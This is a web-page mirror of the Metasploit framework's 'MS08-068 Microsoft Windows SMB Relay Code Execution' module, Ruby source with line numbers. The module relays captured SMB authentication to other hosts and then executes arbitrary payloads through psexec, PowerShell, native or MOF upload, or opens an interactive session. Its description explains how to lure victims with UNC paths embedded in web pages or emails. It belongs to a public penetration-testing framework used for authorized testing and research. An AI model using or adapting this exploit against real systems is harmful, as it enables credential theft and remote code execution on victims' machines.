Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/smb/smb_relay.rb
19516 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
=begin
7
Windows XP systems that are not part of a domain default to treating all
8
network logons as if they were Guest. This prevents SMB relay attacks from
9
gaining administrative access to these systems. This setting can be found
10
under:
11
12
Local Security Settings >
13
Local Policies >
14
Security Options >
15
Network Access: Sharing and security model for local accounts
16
=end
17
18
class MetasploitModule < Msf::Exploit::Remote
19
Rank = ExcellentRanking
20
21
include ::Msf::Exploit::Remote::SMB::RelayServer
22
include ::Msf::Exploit::Remote::SMB::Client::Psexec
23
include ::Msf::Exploit::Powershell
24
include Msf::Exploit::EXE
25
include Msf::Module::HasActions
26
include Msf::Auxiliary::CommandShell
27
28
def initialize(info = {})
29
super(
30
update_info(
31
info,
32
'Name' => 'MS08-068 Microsoft Windows SMB Relay Code Execution',
33
'Description' => %q{
34
This module will relay SMB authentication requests to another
35
host, gaining access to an authenticated SMB session if successful.
36
If the connecting user is an administrator and network logins are
37
allowed to the target machine, this module will execute an arbitrary
38
payload. To exploit this, the target system must try to authenticate
39
to this module. The easiest way to force a SMB authentication attempt
40
is by embedding a UNC path (\SERVER\SHARE) into a web page or
41
email message. When the victim views the web page or email, their
42
system will automatically connect to the server specified in the UNC
43
share (the IP address of the system running this module) and attempt
44
to authenticate. Unfortunately, this
45
module is not able to clean up after itself. The service and payload
46
file listed in the output will need to be manually removed after access
47
has been gained. The service created by this tool uses a randomly chosen
48
name and description, so the services list can become cluttered after
49
repeated exploitation.
50
51
The SMB authentication relay attack was first reported by Sir Dystic on
52
March 31st, 2001 at @lanta.con in Atlanta, Georgia.
53
54
On November 11th 2008 Microsoft released bulletin MS08-068. This bulletin
55
includes a patch which prevents the relaying of challenge keys back to
56
the host which issued them, preventing this exploit from working in
57
the default configuration. It is still possible to set the SMBHOST
58
parameter to a third-party host that the victim is authorized to access,
59
but the "reflection" attack has been effectively broken.
60
61
As of Feb 2022 - this module does not support SMB 1.
62
},
63
'Author' => [
64
'hdm', # Original SMB v1 relay module
65
'juan vazquez', # Original SMB v1 relay module - Add NTLMSSP support
66
'agalway-r7', # Add SMB 2/3 support
67
'alanfoster', # Add SMB 2/3 support
68
'Spencer McIntyre' # Add SMB 2/3 support
69
],
70
'License' => MSF_LICENSE,
71
'Privileged' => true,
72
'DefaultOptions' => {
73
'EXITFUNC' => 'thread'
74
},
75
'Payload' => {
76
'Space' => 2048,
77
'DisableNops' => true,
78
'StackAdjustment' => -3500
79
},
80
'References' => [
81
['CVE', '2008-4037'],
82
['OSVDB', '49736'],
83
['MSB', 'MS08-068'],
84
['URL', 'http://blogs.technet.com/swi/archive/2008/11/11/smb-credential-reflection.aspx'],
85
['URL', 'https://en.wikipedia.org/wiki/SMBRelay'],
86
['URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx']
87
],
88
'Arch' => [ARCH_X86, ARCH_X64],
89
'Platform' => 'win',
90
'Targets' => [
91
[ 'Automatic', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
92
[ 'PowerShell', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
93
[ 'Native upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
94
[ 'MOF upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
95
[ 'Command', { 'Arch' => [ARCH_CMD] } ]
96
],
97
'Notes' => {
98
'Stability' => [
99
CRASH_SAFE,
100
],
101
'Reliability' => [
102
REPEATABLE_SESSION
103
],
104
'SideEffects' => [
105
ARTIFACTS_ON_DISK,
106
IOC_IN_LOGS,
107
ACCOUNT_LOCKOUTS
108
]
109
},
110
'DisclosureDate' => '2001-03-31',
111
'DefaultTarget' => 0,
112
'Actions' => available_actions,
113
'Stance' => Msf::Exploit::Stance::Passive,
114
'DefaultAction' => 'PSEXEC'
115
)
116
)
117
118
register_options(
119
[
120
OptString.new('SMBSHARE', [false, 'The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share', ''], aliases: ['SHARE'])
121
]
122
)
123
124
register_advanced_options(
125
[
126
OptBool.new('RANDOMIZE_TARGETS', [true, 'Whether the relay targets should be randomized', true]),
127
OptString.new('SERVICE_FILENAME', [false, 'Filename to to be used on target for the service binary', nil]),
128
OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']),
129
OptString.new('SERVICE_STUB_ENCODER', [false, 'Encoder to use around the service registering stub', nil])
130
]
131
)
132
133
deregister_options(
134
'RPORT', 'SMBPass', 'SMBUser', 'CommandShellCleanupCommand', 'AutoVerifySession'
135
)
136
if framework.features.enabled?(Msf::FeatureManager::SMB_SESSION_TYPE)
137
add_info('New in Metasploit 6.4 - The %grnCREATE_SMB_SESSION%clr action within this module can open an interactive session')
138
end
139
end
140
141
def available_actions
142
actions = [
143
['PSEXEC', { 'Description' => 'Use the SMB Connection to run the exploit/windows/psexec module against the relay target' }]
144
]
145
if framework.features.enabled?(Msf::FeatureManager::SMB_SESSION_TYPE)
146
actions << ['CREATE_SMB_SESSION', { 'Description' => 'Do not close the SMB connection after relaying, and instead create an SMB session' }]
147
end
148
149
actions
150
end
151
152
def validate_service_stub_encoder!
153
service_encoder = datastore['SERVICE_STUB_ENCODER']
154
return if service_encoder.nil? || service_encoder.empty?
155
156
encoder = framework.encoders[service_encoder]
157
if encoder.nil?
158
raise Msf::OptionValidateError.new(
159
{
160
'SERVICE_STUB_ENCODER' => "Failed to find encoder #{service_encoder.inspect}"
161
}
162
)
163
end
164
end
165
166
def validate
167
case action.name
168
when 'PSEXEC'
169
validate_service_stub_encoder!
170
end
171
super
172
end
173
174
def on_relay_success(relay_connection:, relay_identity:)
175
case action.name
176
when 'PSEXEC'
177
run_psexec(relay_connection)
178
when 'CREATE_SMB_SESSION'
179
begin
180
session_setup(relay_connection)
181
rescue StandardError => e
182
elog('Failed to setup the session', error: e)
183
end
184
end
185
end
186
187
def run_psexec(relay_connection)
188
# The psexec mixins assume a single smb client instance is available, which makes it impossible
189
# to use when there are multiple SMB requests occurring in parallel. Let's create a replicant module,
190
# and set the datastore options and simple smb instance
191
new_mod_instance = replicant
192
new_mod_instance.datastore['RHOST'] = relay_connection.target.ip
193
new_mod_instance.datastore['RPORT'] = relay_connection.target.port
194
# The new module no longer needs a reference to the original smb server, deref it explicitly:
195
new_mod_instance.service.deref
196
new_mod_instance.service = nil
197
# Wrap the ruby_smb connection in a rex-compatible adapter
198
new_mod_instance.simple = ::Rex::Proto::SMB::SimpleClient.new(relay_connection.dispatcher.tcp_socket, client: relay_connection)
199
200
thread_name = "Module(#{refname})(target=#{relay_connection.target.ip}:#{relay_connection.target.port})"
201
framework.threads.spawn(thread_name, false, new_mod_instance) do |mod_instance|
202
mod_instance.exploit_smb_target
203
rescue StandardError => e
204
print_error("Failed running psexec against target #{relay_connection.target.ip} - #{e.class} #{e.message}")
205
elog(e)
206
# ensure
207
# # Note: Don't cleanup explicitly, as the shared replicant state leads to payload handlers etc getting closed.
208
# # The parent module will clean these shared resources
209
# mod_instance.cleanup
210
end
211
end
212
213
def relay_targets
214
Msf::Exploit::Remote::SMB::Relay::TargetList.new(
215
:smb,
216
rport,
217
datastore['RHOSTS'],
218
randomize_targets: datastore['RANDOMIZE_TARGETS']
219
)
220
end
221
222
def check_host(target_ip)
223
generic_message = 'Failed to connect and negotiate an SMB connection.'
224
begin
225
simple = connect(false, direct: true)
226
protocol = simple.client.negotiate
227
rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError, Errno::ECONNRESET
228
return Exploit::CheckCode::Unknown(generic_message)
229
rescue ::Exception => e # rubocop:disable Lint/RescueException
230
elog(generic_message, error: e)
231
return Exploit::CheckCode::Unknown(generic_message)
232
end
233
234
if simple.signing_required
235
return Exploit::CheckCode::Safe('Signing is required by the target server.')
236
end
237
238
Exploit::CheckCode::Vulnerable('Signing is not required by the target server.')
239
end
240
241
# Called after a successful connection to a relayed host is opened
242
def exploit_smb_target
243
# automatically select an SMB share unless one is explicitly specified
244
if datastore['SMBSHARE'] && !datastore['SMBSHARE'].blank?
245
smbshare = datastore['SMBSHARE']
246
elsif target.name == 'Command'
247
smbshare = 'C$'
248
else
249
smbshare = 'ADMIN$'
250
end
251
252
service_filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
253
service_encoder = datastore['SERVICE_STUB_ENCODER'] || ''
254
255
vprint_status 'Running psexec'
256
case target.name
257
when 'Automatic'
258
if powershell_installed?(smbshare, datastore['PSH_PATH'])
259
print_status('Selecting PowerShell target')
260
execute_powershell_payload
261
else
262
print_status('Selecting native target')
263
native_upload(smbshare, service_filename, service_encoder)
264
end
265
when 'PowerShell'
266
execute_powershell_payload
267
when 'Native upload'
268
native_upload(smbshare, service_filename, service_encoder)
269
when 'MOF upload'
270
mof_upload(smbshare)
271
when 'Command'
272
execute_command_payload(smbshare)
273
end
274
275
handler
276
disconnect
277
end
278
279
# @param [RubySMB::Client] client
280
def session_setup(client)
281
return unless client
282
283
platform = 'windows'
284
285
# Create a new session
286
rstream = client.dispatcher.tcp_socket
287
sess = Msf::Sessions::SMB.new(
288
rstream,
289
{
290
client: client
291
}
292
)
293
ds = {
294
'RHOST' => client.target.ip,
295
'RPORT' => client.target.port
296
}
297
298
s = start_session(self, nil, ds, false, sess.rstream, sess)
299
300
s.platform = platform
301
302
s
303
end
304
305
def rport
306
445
307
end
308
end
309
310